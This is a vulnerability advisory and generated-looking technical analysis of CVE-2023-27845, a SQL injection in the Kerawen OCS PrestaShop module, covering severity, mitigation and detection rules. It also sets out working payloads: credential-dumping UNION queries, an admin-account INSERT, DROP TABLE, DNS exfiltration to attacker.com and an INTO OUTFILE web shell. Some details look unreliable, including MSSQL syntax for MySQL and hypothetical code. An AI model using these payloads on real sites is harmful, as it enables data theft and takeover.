CVE-2023-27845
CVE-2023-27845
Weakness (CWE)
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Description
SQL injection vulnerability found in PrestaShop lekerawen_ocs before v.1.4.1 allow a remote attacker to gain privileges via the KerawenHelper::setCartOperationInfo, and KerawenHelper::resetCheckoutSessionData components.
Comprehensive Technical Analysis of CVE-2023-27845 (PrestaShop Kerawen OCS SQL Injection Vulnerability)
1. Vulnerability Assessment and Severity Evaluation
CVE ID: CVE-2023-27845 CVSS Score: 9.8 (Critical) – AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Vulnerability Type: SQL Injection (SQLi) Affected Components:
KerawenHelper::setCartOperationInfoKerawenHelper::resetCheckoutSessionData
Severity Breakdown (CVSS v3.1)
| Metric | Value | Explanation |
|---|---|---|
| Attack Vector (AV) | Network (N) | Exploitable remotely over the internet. |
| Attack Complexity (AC) | Low (L) | No special conditions required; straightforward exploitation. |
| Privileges Required (PR) | None (N) | No authentication needed. |
| User Interaction (UI) | None (N) | No user interaction required. |
| Scope (S) | Unchanged (U) | Impact is confined to the vulnerable component. |
| Confidentiality (C) | High (H) | Full database access, including sensitive customer/PII data. |
| Integrity (I) | High (H) | Arbitrary SQL execution allows data manipulation. |
| Availability (A) | High (H) | Potential for database corruption or denial of service. |
Justification for Critical Rating:
- Unauthenticated remote exploitation with no user interaction.
- Full database compromise (data exfiltration, modification, or deletion).
- Privilege escalation via crafted SQL queries (e.g., inserting admin users).
- High impact on e-commerce platforms (PrestaShop), which often handle payment data.
2. Potential Attack Vectors and Exploitation Methods
Attack Vectors
-
Direct HTTP Request Manipulation
- Attackers send crafted HTTP requests (GET/POST) to PrestaShop endpoints that invoke the vulnerable
KerawenHelpermethods. - Example:
POST /module/kerawen_ocs/checkout HTTP/1.1 Host: vulnerable-site.com Content-Type: application/x-www-form-urlencoded cart_operation_info=[MALICIOUS_SQL_PAYLOAD]
- Attackers send crafted HTTP requests (GET/POST) to PrestaShop endpoints that invoke the vulnerable
-
Session-Based Exploitation
- The
resetCheckoutSessionDatamethod may allow session hijacking or manipulation of checkout flows, leading to SQLi.
- The
-
Chained Exploits
- Combined with Cross-Site Scripting (XSS) or CSRF to bypass weak input validation.
- Used in post-exploitation to maintain persistence (e.g., creating backdoor admin accounts).
Exploitation Methods
Step 1: Identify Vulnerable Endpoints
- Use Burp Suite, OWASP ZAP, or sqlmap to fuzz PrestaShop modules for SQLi.
- Target endpoints like:
/module/kerawen_ocs/setCartOperation/module/kerawen_ocs/resetCheckout
Step 2: Craft SQL Injection Payloads
- Classic SQLi:
' OR '1'='1' -- - Union-Based Exfiltration:
' UNION SELECT 1,2,3,username,password,6 FROM ps_employee -- - Blind SQLi (Time-Based):
'; IF (1=1) WAITFOR DELAY '0:0:5' --
Step 3: Execute Privilege Escalation
- Create Admin User:
INSERT INTO ps_employee (id_employee, id_profile, email, passwd, lastname, firstname, active) VALUES (999, 1, 'attacker@evil.com', MD5('password123'), 'Hacker', 'Evil', 1); - Dump Database Schema:
SELECT table_name FROM information_schema.tables WHERE table_schema = 'prestashop';
Step 4: Post-Exploitation
- Data Exfiltration: Steal customer data (PII, payment details).
- Defacement: Modify product prices or descriptions.
- Ransomware: Encrypt database tables and demand payment.
3. Affected Systems and Software Versions
Vulnerable Software
- PrestaShop Module:
lekerawen_ocs(Kerawen OCS – Open Cash System) - Affected Versions: All versions before 1.4.1
- Vendor: Kerawen (Point-of-Sale (POS) and e-commerce integration module for PrestaShop)
PrestaShop Compatibility
- PrestaShop Versions: Likely affects 1.6.x, 1.7.x, and 8.x (exact compatibility depends on module integration).
- Dependencies: May require specific PHP/MySQL versions (e.g., PHP 7.2+).
Detection Methods
- Manual Check:
- Verify module version in PrestaShop backoffice (
Modules > Module Manager > Kerawen OCS). - Check for
kerawen_ocsin/modules/directory.
- Verify module version in PrestaShop backoffice (
- Automated Scanning:
- Nmap Script:
nmap -p 80,443 --script http-sql-injection <target> - Nuclei Template:
id: CVE-2023-27845 info: name: PrestaShop Kerawen OCS SQLi severity: critical reference: CVE-2023-27845 requests: - method: POST path: /module/kerawen_ocs/setCartOperation body: "cart_operation_info=' OR '1'='1" - sqlmap:
sqlmap -u "https://target.com/module/kerawen_ocs/checkout" --data="cart_operation_info=1" --risk=3 --level=5 --dbms=mysql
- Nmap Script:
4. Recommended Mitigation Strategies
Immediate Actions
-
Apply Vendor Patch
- Upgrade to Kerawen OCS v1.4.1 or later (Download Link).
- Verify patch integrity via checksum comparison.
-
Temporary Workarounds (If Patch Not Available)
- Disable the Module:
- Navigate to PrestaShop backoffice → Modules → Module Manager → Disable
kerawen_ocs.
- Navigate to PrestaShop backoffice → Modules → Module Manager → Disable
- Web Application Firewall (WAF) Rules:
- Deploy ModSecurity with OWASP Core Rule Set (CRS) to block SQLi patterns.
- Example rule:
SecRule ARGS "@detectSQLi" "id:1000,deny,status:403,msg:'SQL Injection Attempt'"
- Input Validation Hardening:
- Modify
KerawenHelpermethods to use prepared statements (see Long-Term Fixes).
- Modify
- Disable the Module:
Long-Term Fixes
-
Code-Level Remediation
- Replace Dynamic SQL with Prepared Statements:
// Vulnerable Code $sql = "SELECT * FROM ps_cart WHERE id_cart = " . $_POST['cart_id']; // Fixed Code $sql = "SELECT * FROM ps_cart WHERE id_cart = ?"; $stmt = $db->prepare($sql); $stmt->execute([$_POST['cart_id']]); - Implement ORM (Object-Relational Mapping):
- Use PrestaShop’s built-in
Dbclass or Doctrine ORM for safer queries.
- Use PrestaShop’s built-in
- Replace Dynamic SQL with Prepared Statements:
-
Database Hardening
- Least Privilege Principle:
- Restrict database user permissions (e.g.,
SELECTonly where needed).
- Restrict database user permissions (e.g.,
- Enable MySQL Query Logging:
SET GLOBAL general_log = 'ON'; SET GLOBAL log_output = 'TABLE'; - Encrypt Sensitive Data:
- Use AES-256 for PII (e.g., customer emails, payment details).
- Least Privilege Principle:
-
Network-Level Protections
- Rate Limiting:
- Implement fail2ban or Cloudflare Rate Limiting to block brute-force SQLi attempts.
- IP Whitelisting:
- Restrict access to PrestaShop admin/backend to trusted IPs.
- Rate Limiting:
-
Monitoring and Logging
- SIEM Integration:
- Forward PrestaShop logs to Splunk, ELK Stack, or Graylog for anomaly detection.
- Alerting Rules:
- Trigger alerts on:
- Multiple failed SQL queries.
- Unusual
UNION SELECTpatterns. - Database schema modifications.
- Trigger alerts on:
- SIEM Integration:
5. Impact on the Cybersecurity Landscape
Broader Implications
-
E-Commerce Sector Risk
- PrestaShop powers ~300,000 online stores, making this a high-value target for attackers.
- Supply Chain Risk: Compromised modules (like Kerawen OCS) can lead to mass exploitation across multiple merchants.
-
Regulatory and Compliance Risks
- GDPR Violation: Unauthorized access to customer data may result in fines up to 4% of global revenue.
- PCI DSS Non-Compliance: SQLi leading to payment data theft violates Requirement 6.5 (secure coding).
-
Exploit Availability
- Proof-of-Concept (PoC) Exploits:
- Likely to emerge in Exploit-DB, GitHub, or dark web forums.
- Automated Exploitation:
- Botnets (e.g., Mirai variants) may incorporate this CVE for mass scanning and exploitation.
- Proof-of-Concept (PoC) Exploits:
-
Threat Actor Interest
- Financially Motivated Groups:
- Magecart, FIN7 – Target payment data via SQLi.
- Ransomware Operators:
- LockBit, BlackCat – May use SQLi for initial access before encrypting databases.
- Financially Motivated Groups:
Historical Context
- Similar CVEs in PrestaShop:
- CVE-2022-36408 (PrestaShop SQLi, CVSS 9.8)
- CVE-2021-37538 (PrestaShop Module SQLi)
- Trend: PrestaShop modules are frequent targets due to poor input validation and lack of security reviews.
6. Technical Details for Security Professionals
Root Cause Analysis
- Vulnerable Code Snippet (Hypothetical Example):
// In KerawenHelper.php public static function setCartOperationInfo($cartId, $operationInfo) { $sql = "UPDATE ps_kerawen_cart SET operation_info = '" . $operationInfo . "' WHERE id_cart = " . $cartId; Db::getInstance()->execute($sql); // UNSAFE: Direct string concatenation } - Issue: Lack of input sanitization and direct SQL concatenation allow arbitrary SQL execution.
Exploitation Flow
- Attacker sends:
POST /module/kerawen_ocs/setCartOperation HTTP/1.1 cart_id=1&operation_info='; DROP TABLE ps_customer; -- - Resulting SQL:
UPDATE ps_kerawen_cart SET operation_info = ''; DROP TABLE ps_customer; --' WHERE id_cart = 1 - Impact: Database table deletion (availability impact).
Forensic Indicators
- Logs to Check:
- Apache/Nginx Access Logs:
192.168.1.100 - - [07/Jul/2023:12:00:00 +0000] "POST /module/kerawen_ocs/setCartOperation HTTP/1.1" 200 1234 "-" "sqlmap/1.6.4" - MySQL General Log:
SELECT * FROM ps_employee WHERE email = 'attacker@evil.com' --
- Apache/Nginx Access Logs:
- File System Artifacts:
- Modified PHP files in
/modules/kerawen_ocs/. - Web shells (e.g.,
backdoor.php) in PrestaShop root.
- Modified PHP files in
Advanced Exploitation Techniques
- Second-Order SQL Injection
- Store malicious payload in database, trigger later via another function.
- Out-of-Band (OOB) Exfiltration
- Use DNS exfiltration to bypass WAFs:
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM ps_employee LIMIT 1), '.attacker.com\\share\\'));
- Use DNS exfiltration to bypass WAFs:
- Privilege Escalation via Stored Procedures
- If MySQL
FILEprivilege is enabled, write to web root:SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
- If MySQL
Detection and Hunting Queries
- Splunk Query:
index=prestashop sourcetype=access_combined | search uri_path="/module/kerawen_ocs/*" AND (form_data="*UNION*" OR form_data="*SELECT*" OR form_data="*DROP*") | stats count by src_ip, uri_path, form_data - Sigma Rule (YAML):
title: PrestaShop Kerawen OCS SQL Injection Attempt id: 12345678-1234-5678-1234-567812345678 status: experimental description: Detects SQL injection attempts against Kerawen OCS module references: - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27845 author: Your Name date: 2023/07/07 logsource: category: webserver product: apache detection: selection: cs-method: 'POST' cs-uri-stem|contains: '/module/kerawen_ocs/' cs-uri-query|contains: - 'UNION' - 'SELECT' - 'DROP' - 'INSERT' - 'UPDATE' - 'DELETE' condition: selection falsepositives: - Legitimate administrative actions level: critical
Conclusion
CVE-2023-27845 represents a critical SQL injection vulnerability in the Kerawen OCS module for PrestaShop, enabling unauthenticated remote attackers to execute arbitrary SQL queries with high impact on confidentiality, integrity, and availability. Given the CVSS 9.8 rating, e-commerce businesses using affected versions must prioritize patching and implement defensive measures (WAF, input validation, monitoring) to mitigate exploitation risks.
Key Takeaways for Security Teams:
- Patch immediately to Kerawen OCS v1.4.1 or later.
- Monitor for exploitation attempts using SIEM/SOAR rules.
- Conduct a forensic review if compromise is suspected.
- Educate developers on secure coding practices (prepared statements, ORM usage).
Further Reading: